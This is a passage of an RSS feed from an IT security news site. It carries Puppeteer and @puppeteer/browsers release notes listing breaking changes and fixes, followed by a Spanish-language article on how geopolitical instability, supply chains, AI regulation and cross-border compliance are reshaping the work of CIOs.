<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4c22177a7dcbd5a5fe6922eec75351bb56cd0336">4c22177</a>)</li>
</ul>
<h3>📄 Documentation</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4b6ddc3a2631518651187b7795e36fae9a976121">4b6ddc3</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/96f3780289d42557b648a18d806843a28da7e2f5">96f3780</a>)</li>
</ul>
<h3>🏗️ Refactor</h3>
<ul>
<li>return a Promise for executablePath, defaultArgs (<a href="https://github.com/puppeteer/puppeteer/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14965/hovercard">#14965</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/74059fd3352b789df73cb297c56be6694b2200ab">74059fd</a>)</li>
</ul>
<h3>Dependencies</h3>
<ul>
<li>The following workspace dependencies were updated
<ul>
<li>dependencies
<ul>
<li>@puppeteer/browsers bumped from 2.13.2 to 3.0.0</li>
<li>puppeteer-core bumped from 24.43.1 to 25.0.0</li>
</ul>
</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[puppeteer-core: v25.0.0]]></title>
<description><![CDATA[25.0.0 (2026-05-12)
⚠ BREAKING CHANGES

remove deprecated Puppeteer.product (#14977)
bump min NodeJS to 22 (#14973)
return a Promise for executablePath, defaultArgs (#14965)
remove deprecated MouseOptions.clickCount (#13865)
update min version - Node v20.19 and Typescript v5.0.1 (#14364)
remove d...]]></description>
<link>https://tsecurity.de/de/3511028/downloads/puppeteer-core-v2500/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511028/downloads/puppeteer-core-v2500/</guid>
<pubDate>Tue, 12 May 2026 18:16:32 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/puppeteer/puppeteer/compare/puppeteer-core-v24.43.1...puppeteer-core-v25.0.0">25.0.0</a> (2026-05-12)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>remove deprecated Puppeteer.product (<a href="https://github.com/puppeteer/puppeteer/issues/14977" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14977/hovercard">#14977</a>)</li>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>)</li>
<li>return a Promise for executablePath, defaultArgs (<a href="https://github.com/puppeteer/puppeteer/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14965/hovercard">#14965</a>)</li>
<li>remove deprecated MouseOptions.clickCount (<a href="https://github.com/puppeteer/puppeteer/issues/13865" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/13865/hovercard">#13865</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>)</li>
<li>remove deprecated Browser.isConnected() (<a href="https://github.com/puppeteer/puppeteer/issues/14910" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14910/hovercard">#14910</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>)</li>
<li><strong>puppeteer-core:</strong> Remove Cookie attribute sameParty (<a href="https://github.com/puppeteer/puppeteer/issues/14545" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14545/hovercard">#14545</a>)</li>
<li>normalize newline-separated headers to comma-separated format (<a href="https://github.com/puppeteer/puppeteer/issues/14492" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14492/hovercard">#14492</a>)</li>
</ul>
<h3>🎉 Features</h3>
<ul>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4c22177a7dcbd5a5fe6922eec75351bb56cd0336">4c22177</a>)</li>
</ul>
<h3>🛠️ Fixes</h3>
<ul>
<li>block standard network emulation reset if allowlist or blocklist are enabled (<a href="https://github.com/puppeteer/puppeteer/issues/14976" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14976/hovercard">#14976</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4e75b66e333803960c77d88f9357fba411796f36">4e75b66</a>)</li>
<li>Handle missing sessionId when looking up callbacks (<a href="https://github.com/puppeteer/puppeteer/issues/14975" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14975/hovercard">#14975</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4faa0e6ce9dd5db3ab41407c427de89d08ca20bd">4faa0e6</a>)</li>
<li>normalize newline-separated headers to comma-separated format (<a href="https://github.com/puppeteer/puppeteer/issues/14492" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14492/hovercard">#14492</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/1ea5deabbcb6ea81095a3fef5dfd0f1b94d9df61">1ea5dea</a>)</li>
<li><strong>puppeteer-core:</strong> Remove Cookie attribute sameParty (<a href="https://github.com/puppeteer/puppeteer/issues/14545" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14545/hovercard">#14545</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/be2d86a5659b8391ece6a4026582cf69716aae8c">be2d86a</a>)</li>
<li><strong>webdriver:</strong> don't store request on BrowsingContext (<a href="https://github.com/puppeteer/puppeteer/issues/14966" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14966/hovercard">#14966</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4e4daec603f62f206a93019693d24ba7b93ad9d4">4e4daec</a>)</li>
</ul>
<h3>📄 Documentation</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4b6ddc3a2631518651187b7795e36fae9a976121">4b6ddc3</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/96f3780289d42557b648a18d806843a28da7e2f5">96f3780</a>)</li>
</ul>
<h3>⚡ Performance</h3>
<ul>
<li><strong>webdriver:</strong> remove intermediate object wrappers (<a href="https://github.com/puppeteer/puppeteer/issues/14967" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14967/hovercard">#14967</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/c19b855390e94a6e571fa540c872e3351fec4e7d">c19b855</a>)</li>
</ul>
<h3>🏗️ Refactor</h3>
<ul>
<li>don't use debug lib directly (<a href="https://github.com/puppeteer/puppeteer/issues/14969" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14969/hovercard">#14969</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/7cbebc6ea1d881ce6538a82014e73dd0e785e754">7cbebc6</a>)</li>
<li>remove deprecated Browser.isConnected() (<a href="https://github.com/puppeteer/puppeteer/issues/14910" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14910/hovercard">#14910</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/f2cdffc4d4d6c965098666cdb79bb8a39de0ea0d">f2cdffc</a>)</li>
<li>remove deprecated MouseOptions.clickCount (<a href="https://github.com/puppeteer/puppeteer/issues/13865" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/13865/hovercard">#13865</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/1f6bd1f98fc9090b632442538b066aa04368a87c">1f6bd1f</a>)</li>
<li>remove deprecated Puppeteer.product (<a href="https://github.com/puppeteer/puppeteer/issues/14977" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14977/hovercard">#14977</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/2b097b714ebf2e0e61e71002194caacecbdcedf8">2b097b7</a>)</li>
<li>return a Promise for executablePath, defaultArgs (<a href="https://github.com/puppeteer/puppeteer/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14965/hovercard">#14965</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/74059fd3352b789df73cb297c56be6694b2200ab">74059fd</a>)</li>
</ul>
<h3>Dependencies</h3>
<ul>
<li>The following workspace dependencies were updated
<ul>
<li>dependencies
<ul>
<li>@puppeteer/browsers bumped from 2.13.2 to 3.0.0</li>
</ul>
</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[browsers: v3.0.0]]></title>
<description><![CDATA[3.0.0 (2026-05-12)
⚠ BREAKING CHANGES

bump min NodeJS to 22 (#14973)
update min version - Node v20.19 and Typescript v5.0.1 (#14364)
move packages to ESM only (#14355)
make proxy agent optional peer dependency and update to v8 (#14894)
remove public makeProgressCallback helper (#13804)
replace e...]]></description>
<link>https://tsecurity.de/de/3511027/downloads/browsers-v300/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511027/downloads/browsers-v300/</guid>
<pubDate>Tue, 12 May 2026 18:16:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/puppeteer/puppeteer/compare/browsers-v2.13.2...browsers-v3.0.0">3.0.0</a> (2026-05-12)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>)</li>
<li>make proxy agent optional peer dependency and update to v8 (<a href="https://github.com/puppeteer/puppeteer/issues/14894" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14894/hovercard">#14894</a>)</li>
<li>remove public makeProgressCallback helper (<a href="https://github.com/puppeteer/puppeteer/issues/13804" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/13804/hovercard">#13804</a>)</li>
<li>replace extract-zip with OS tar.exe or unzip (<a href="https://github.com/puppeteer/puppeteer/issues/14960" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14960/hovercard">#14960</a>)</li>
</ul>
<h3>🎉 Features</h3>
<ul>
<li><strong>browsers:</strong> add experimental bisect CLI command (<a href="https://github.com/puppeteer/puppeteer/issues/14746" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14746/hovercard">#14746</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/512d69375b5d4e61f59ddfa70674cb2f814c61fa">512d693</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4c22177a7dcbd5a5fe6922eec75351bb56cd0336">4c22177</a>)</li>
</ul>
<h3>🛠️ Fixes</h3>
<ul>
<li>remove public makeProgressCallback helper (<a href="https://github.com/puppeteer/puppeteer/issues/13804" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/13804/hovercard">#13804</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/0876ee153008a0084839886f52b95e269c46578a">0876ee1</a>)</li>
<li>replace extract-zip with OS tar.exe or unzip (<a href="https://github.com/puppeteer/puppeteer/issues/14960" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14960/hovercard">#14960</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/55df174d20bb8c3e8cce73d5d7ad8d1cfc9a560f">55df174</a>)</li>
</ul>
<h3>📄 Documentation</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4b6ddc3a2631518651187b7795e36fae9a976121">4b6ddc3</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/96f3780289d42557b648a18d806843a28da7e2f5">96f3780</a>)</li>
</ul>
<h3>⚡ Performance</h3>
<ul>
<li><strong>browsers:</strong> update logger signature (<a href="https://github.com/puppeteer/puppeteer/issues/14968" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14968/hovercard">#14968</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/0f5a8d85a0b531234758bcb8a7ff4371b2e0c960">0f5a8d8</a>)</li>
</ul>
<h3>🏗️ Refactor</h3>
<ul>
<li>make proxy agent optional peer dependency and update to v8 (<a href="https://github.com/puppeteer/puppeteer/issues/14894" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14894/hovercard">#14894</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/501cccc18913f497561a0dbdbd8738c3e72fadbe">501cccc</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[El desafío global de los CIO]]></title>
<description><![CDATA[Por si los directores de sistemas de información no tienen ya bastante con lo que lidiar ante el aumento de la demanda de IA en todo el ámbito empresarial, el actual clima geopolítico, volátil, les obliga ahora a adoptar una mentalidad más centrada en lo global en todo, desde sus cadenas de sumin...]]></description>
<link>https://tsecurity.de/de/3510789/it-security-nachrichten/el-desafo-global-de-los-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3510789/it-security-nachrichten/el-desafo-global-de-los-cio/</guid>
<pubDate>Tue, 12 May 2026 17:06:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Por si los directores de sistemas de información no tienen ya bastante con lo que lidiar ante el aumento de la demanda de IA en todo el ámbito empresarial, el <a href="https://www.cio.com/article/4159008/preocupa-de-verdad-la-geopolitica-a-los-cio.html">actual clima geopolítico</a>, volátil, les obliga ahora a adoptar una mentalidad más centrada en lo global en todo, desde sus cadenas de suministro de TI y la regulación hasta la infraestructura distribuida y la plantilla.</p>



<p>Últimamente, las noticias han hablado mucho sobre el impacto de la guerra de Irán en la tecnología: ataques con drones que dañan los centros de datos de AWS en Baréin y los Emiratos Árabes Unidos, así como el aumento de los ciberataques y la amenaza de la escasez de semiconductores. “Esta no es simplemente una guerra de misiles y milicias, sino una guerra que abarca las redes, las cadenas de suministro y los sistemas que impulsan el mundo moderno”, <a href="https://www.techpolicy.press/the-iran-war-will-disrupt-the-digital-order-and-redefine-sovereignty/" target="_blank" rel="nofollow">escribe S. Yah Kalash</a>, investigador principal del Centro para la Innovación en Gobernanza Internacional. “Su consecuencia más duradera no será el cambio territorial, sino la aceleración de un orden tecnológico global fracturado, disputado y profundamente politizado”.</p>



<p>Aunque las áreas de TI han recibido discretos aumentos para financiar iniciativas de IA durante el último año, la preocupación económica de los altos directivos por el incremento de los costes energéticos, la inflación persistente y el declive de la economía global afectará directamente a las organizaciones tecnológicas, según un reciente informe de Forrester. “Los CIO tendrán que redoblar una vez más sus esfuerzos en la gestión del gasto en TI mediante la priorización, la reducción selectiva de costes, una gestión estricta de los proveedores y otras técnicas”, reza  el informe. “Aumentará el escepticismo sobre el retorno de la inversión en IA, lo que obligará tanto a los CIO como a los CISO a defender las inversiones”.</p>



<p>Como en cualquier situación, un periodo de inestabilidad global hace que sea de vital importancia que los responsables de TI sigan fomentando una comunicación abierta con el resto del equipo directivo para establecer objetivos alcanzables y gestionar las expectativas de forma eficaz. “Manténganse en estrecha conexión con el resto de la alta dirección y comprendan qué repercusiones está teniendo la volatilidad en el negocio”, afirma Mark Moccia, vicepresidente y director de investigación de Forrester. “Esto puede dar lugar a recortes en el presupuesto tecnológico a corto plazo debido a las presiones [de pérdidas y ganancias]”.</p>



<h2 class="wp-block-heading">“Una tormenta perfecta de retos” para los líderes de TI</h2>



<p>Los responsables de TI afirman que no se sienten intimidados por el desafío que plantean las tensiones geopolíticas. Tadas Tamošaitis, director técnico de FL Technics, con sede en Vilna (Lituania), un proveedor global independiente de servicios de mantenimiento, reparación y revisión (MRO) de aeronaves, está muy familiarizado con ellas. El sector de la aviación opera en la encrucijada de algunas de las presiones normativas, geopolíticas y de la cadena de suministro más exigentes del mundo. Depende del equipo de TI mantenerlo todo a flote en tiempo real, afirma. “Las aerolíneas esperan que las aeronaves vuelvan al servicio en plazos ajustados, por lo que cualquier interrupción en nuestros sistemas digitales tiene consecuencias inmediatas y cuantificables en tierra”, explica Tamošaitis.</p>



<p>En estos momentos, el sector global de MRO está atravesando lo que él denomina “una tormenta perfecta de retos”, dado que los picos de demanda pospandémicos han puesto a prueba unas cadenas de suministro aeroespaciales ya de por sí frágiles. Los plazos de entrega de las piezas críticas están alcanzando duraciones récord, afirma Tamošaitis.</p>



<p>“Las tensiones geopolíticas —desde controles de exportación más estrictos sobre tecnologías de doble uso hasta restricciones del espacio aéreo que afectan a dónde y cómo movemos aviones y piezas— están redefiniendo constantemente el mapa logístico”, cuenta.</p>



<p>Al mismo tiempo, los reguladores globales y un número creciente de autoridades aeronáuticas nacionales están modificando sus requisitos digitales y de datos de formas que no siempre coinciden, añade Tamošaitis. “Para una empresa de MRO que opera en múltiples jurisdicciones, esto genera una complejidad real: es posible que los mismos datos sobre la configuración de una aeronave deban almacenarse, consultarse y compartirse de manera diferente dependiendo de qué autoridad tenga la supervisión”, dice.</p>



<p>A todo ello se suma la amenaza constante de los ciberataques. “Las empresas de MRO poseen datos de ingeniería altamente sensibles —configuraciones de aeronaves, historiales de mantenimiento, sistemas logísticos— lo que las convierte en objetivos atractivos”, reflexiona Tamošaitis. “Un ciberataque exitoso no solo interrumpe los sistemas informáticos; puede dejar las aeronaves en tierra. Debemos construir sistemas que estén aislados físicamente y sean lo suficientemente resilientes como para resistir los ataques, al tiempo que permanezcan lo suficientemente conectados para una coordinación global las 24 horas del día, los 7 días de la semana”.</p>



<p>Recientemente, FL Technics completó la adquisición de Job Air Technic, lo que, según Tamošaitis, añadió una importante dimensión de integración de sistemas. Fue una tarea compleja que requirió la consolidación de la infraestructura informática heredada, los almacenes de datos y los procedimientos operativos de todas las entidades adquiridas, sin interrumpir las operaciones de mantenimiento que funcionan las 24 horas del día. “Una cosa es planificar una integración de TI sobre el papel; otra muy distinta es ejecutarla cuando un avión que entra en el hangar a las 2 de la madrugada no puede esperar a que termine una migración de datos”, afirma.</p>



<h2 class="wp-block-heading">Los retos globales reconfiguran los <em>stacks </em>de TI y las estrategias</h2>



<p>Para Moe Rosenfeld, director de sistemas de información de eCopier Solutions, con sede en Nueva York, los problemas de la cadena de suministro son lo que le quita el sueño. “La parte de hardware de la gestión documental recorre una cadena de fabricación global, y la tensión geopolítica se refleja en los plazos de entrega, la disponibilidad de componentes y la estabilidad de los proveedores de formas que no tenía en mi radar hace cinco años”, explica. “Hay que pensar en la pila tecnológica del mismo modo que un responsable de logística piensa ahora en las rutas de transporte”.</p>



<p>Los responsables de TI solían evaluar la tecnología principalmente en función de las características y el coste, señala. “Ahora me planteo preguntas que nunca solía hacer, como dónde tiene su sede este proveedor, dónde se encuentran físicamente sus servidores, qué ocurre con los datos de mis clientes si se produce una interrupción del comercio o una situación de sanciones que afecte al país de origen de ese proveedor”.</p>



<p>Las cadenas de suministro globales están imponiendo un cambio fundamental en el diseño de las arquitecturas de TI, coincide Victoria Ma, directora de servicios e innovación digital para EE. UU. y Canadá en la consultora de cadenas de suministro Miebach, que opera en cuatro continentes. “En lugar de optimizar un modelo único y centralizado, las organizaciones ahora tienen que dar soporte a una red que abarca múltiples regiones, entornos normativos y modelos operativos”, afirma. “Esto introduce una complejidad significativa en los sistemas y los datos. Los sistemas de planificación y ejecución deben integrarse no solo entre funciones internas, sino también con socios externos —proveedores, fabricantes y proveedores de logística— que a menudo operan con diferentes plataformas y estándares en distintas partes del mundo”.</p>



<h2 class="wp-block-heading">Identificar casos de uso de la IA que funcionen en todas las regiones</h2>



<p>Navegar por la adopción de la IA en un entorno operativo distribuido a nivel mundial es también un punto crítico fundamental. Remi Alli, director de sistemas de información (CIO) de Black Wallet, la empresa matriz de Kiros, un ecosistema de tokens, cuenta que la proliferación de agentes —el caos que supone la aparición de cientos de herramientas de IA autónomas en diferentes unidades de negocio sin un plan coherente— es un quebradero de cabeza a nivel mundial. “El mayor obstáculo es mantener una infraestructura unificada y segura al [enfrentarnos a] regulaciones regionales, como las nuevas leyes de transparencia de la IA. Esto hace imposible un enfoque único para todos y nos obliga a pasar de un abastecimiento global y centralizado a estrategias regionales más complejas”, relata.</p>



<p>Black Wallet está abordando esto mediante la creación de ‘Consejos de IA’ que actúan como guardianes para evaluar los casos de uso, garantizar el cumplimiento normativo de los datos y evitar arquitecturas fragmentadas. “También estamos sustituyendo la planificación anual por talleres trimestrales de ‘cocreación tecnológica-empresarial’ para asegurarnos de que nuestros proyectos de IA realmente mejoren el retorno de la inversión, en lugar de limitarse a experimentar”, afirma Alli.</p>



<p>La IA y el panorama regulatorio global están “convirtiendo una situación ya de por sí complicada en algo verdaderamente caótico”, afirma Rosenfeld. “El Reglamento de IA (IA Act) de la UE está en marcha, EE. UU. sigue definiendo su enfoque federal, los estados individuales actúan por su cuenta y otros países están haciendo todo lo anterior a ritmos diferentes y con filosofías distintas”.</p>



<p>Para cualquiera que gestione flujos de datos transfronterizos, las herramientas con IA integrada tienen ahora un peso normativo que no existía hace dos años, afirma. “Y lo difícil es que las normas aún no se han redactado por completo. Hoy estás tomando decisiones de infraestructura frente a un objetivo de cumplimiento que aún está en constante cambio. No es una situación cómoda, pero es en la que nos encontramos”.</p>



<p>Para complicar aún más las cosas, mientras existe una fuerte presión por parte de los consejos de administración y los ejecutivos para acelerar las estrategias de IA, las organizaciones están teniendo dificultades para identificar casos de uso que se mantengan en todas las regiones con diferentes calidades de datos, requisitos normativos y niveles de madurez operativa, según Ma.</p>



<p>Al mismo tiempo, el panorama de proveedores está repleto de plataformas “con IA” que a menudo no se adaptan bien a las cadenas de suministro globales, observa Ma. “Una solución que funciona en una región puede no ser escalable debido a diferencias en la disponibilidad de datos, la infraestructura o las restricciones de cumplimiento”, afirma. “Esto coloca a los responsables de TI en una posición difícil: deben filtrar las afirmaciones de los proveedores al tiempo que se aseguran de que las tecnologías seleccionadas puedan funcionar de manera consistente en un panorama global fragmentado”.</p>



<p>El reto no radica tanto en adoptar la IA rápidamente como en construir una base escalable y adaptable a cada región que aporte un valor cuantificable en toda la red, indica Ma.</p>



<h2 class="wp-block-heading">Hacer frente al cumplimiento normativo</h2>



<p>Mantener el cumplimiento normativo más allá de las fronteras es otro gran reto. En lo que a Rosenfeld respecta, nadie está hablando lo suficiente de lo rápido que se ha ampliado el ámbito de aplicación del cumplimiento normativo. “Hace unos años, uno pensaba en la HIPAA, quizá en algunas normas de privacidad a nivel estatal”, afirma. “Ahora, me fijo en clientes con plantillas distribuidas y les pregunto si sus flujos de trabajo documentales afectan a interesados de la UE, porque si es así, el RGPD entra en juego, lo hayan invitado o no”.</p>



<p>Esto es antes de tener que estar al día de las normativas relacionadas con la IA que aún se están redactando en tiempo real en diferentes jurisdicciones, añade Rosenfeld.</p>



<p>Elijah Fernández, cofundador y director técnico de la plataforma virtual de salud conductual Cerevity Health, está de acuerdo y afirma que su ámbito de competencia ha pasado de gestionar redes físicas a proteger a una plantilla clínica muy dispersa y a lidiar con una normativa de datos fragmentada. “En la tecnología sanitaria, la soberanía de los datos y las normativas transfronterizas son objetivos en constante cambio. Cuando tu plantilla está muy dispersa, la defensa perimetral tradicional falla por completo. Ya no estás protegiendo un edificio de oficinas corporativas”, afirma Fernández. “Lo que se protege son cientos de terminales individuales que operan en diferentes redes locales, a menudo sujetas a leyes regionales de privacidad que se solapan o entran en conflicto”.</p>



<p>Para Tamošaitis, de FL Technics, el mantra es mantener la flexibilidad dentro de la estructura. “Estamos implementando plataformas unificadas de ERP y logística que operan en todas las regiones, respetando al mismo tiempo los silos normativos locales: normas de residencia de datos, controles de exportación y requisitos de cumplimiento específicos de cada jurisdicción”.</p>



<p>Allí donde se permite la nube, la empresa aprovecha las arquitecturas híbridas y multicloud para obtener resiliencia y escalabilidad. Los responsables mantienen infraestructura local en los países cuya normativa lo exige, como los centros de datos de la UE para el RGPD y los sistemas con sede en EE. UU. para los requisitos de la FAA, afirma Tamošaitis. “Añade complejidad, pero no es negociable”, admite.</p>



<p>Para mantener el cumplimiento normativo más allá de las fronteras, Fernández afirma que tuvieron que imponer una “estandarización absoluta” a nivel de infraestructura. “Por ejemplo, para garantizar que nuestros registros de auditoría y expedientes clínicos sigan siendo válidos desde el punto de vista forense en diferentes zonas geográficas, configuramos todo nuestro sistema de historias clínicas electrónicas para que funcionara estrictamente en la hora del Pacífico”, señala. “Independientemente del lugar desde el que se conecte un proveedor, la infraestructura estandariza los datos cronológicos en una única fuente de verdad. También hemos adoptado por completo una arquitectura de confianza cero, partiendo de la base de que todas las redes locales que utiliza nuestro personal están intrínsecamente comprometidas”.</p>



<p>El cumplimiento normativo también es un impulso para que FL Technics invierta fuertemente en la formación de sus equipos de TI, así como en reforzar la ciberseguridad de los entornos de infraestructura crítica y la integración digital en contextos de gran intensidad operativa y con un alto componente de ingeniería. “Las herramientas técnicas son importantes, pero se necesita gente que entienda el ámbito lo suficientemente bien como para tomar las decisiones correctas bajo presión”, afirma Tamošaitis.</p>



<p>Y para empresas como FL Technics que se enfrentan a adquisiciones transfronterizas, Tamošaitis afirma que el departamento de TI debe realizar su debida diligencia con antelación —y planificar a largo plazo—. “Es esencial contar con una hoja de ruta de integración planificada con antelación. […] Hay que contar con entre 12 y 18 meses de sistemas paralelos. El coste de mantener esa redundancia es mucho menor que el coste de la interrupción operativa si se precipita la transición”, señala.</p>



<h2 class="wp-block-heading">Diseñe pensando en la flexibilidad y tenga en cuenta a su personal</h2>



<p>Al preguntarles cómo pueden los responsables de TI afrontar las realidades globales actuales, los líderes y expertos en TI ofrecieron los siguientes consejos.</p>



<p><strong>La modularidad es clave</strong>. Tamošaitis aconseja a los responsables de TI que se aseguren de diseñar con modularidad desde el principio, dado que las normativas varían, las realidades geopolíticas cambian y los nuevos mercados traen consigo nuevos requisitos. “Las arquitecturas de TI que se pueden reconfigurar rápidamente son una auténtica ventaja competitiva. Los sistemas rígidos y monolíticos se convierten en un lastre en el momento en que cambia el entorno externo”, recomienda.</p>



<p><strong>Tranquilizar al consejo de administración sobre la resiliencia</strong>. Mantener la resiliencia en tiempos de incertidumbre geopolítica es una de las principales preocupaciones de los consejos de administración. Especialmente en el caso de las infraestructuras críticas, los consejos necesitan saber que las TI pueden mantener las operaciones durante un ciberataque grave, afirma. “Esa conversación debe tener lugar al más alto nivel, y los presupuestos deben reflejar lo que está en juego, no solo las comparativas con la competencia”, dice Tamošaitis.</p>



<p><strong>Optimizar la toma de decisiones y reducir el riesgo de concentración</strong>. Moccia, de Forrester, afirma que es una buena idea contar con un proceso de priorización listo para usar y siempre activo que permita restar rápidamente prioridad a cualquier elemento «por debajo de la línea» que pueda esperar. También recomienda reducir el riesgo de concentración en proveedores y plataformas, y seguir buscando áreas de posible consolidación y contratos que no sea necesario renovar.</p>



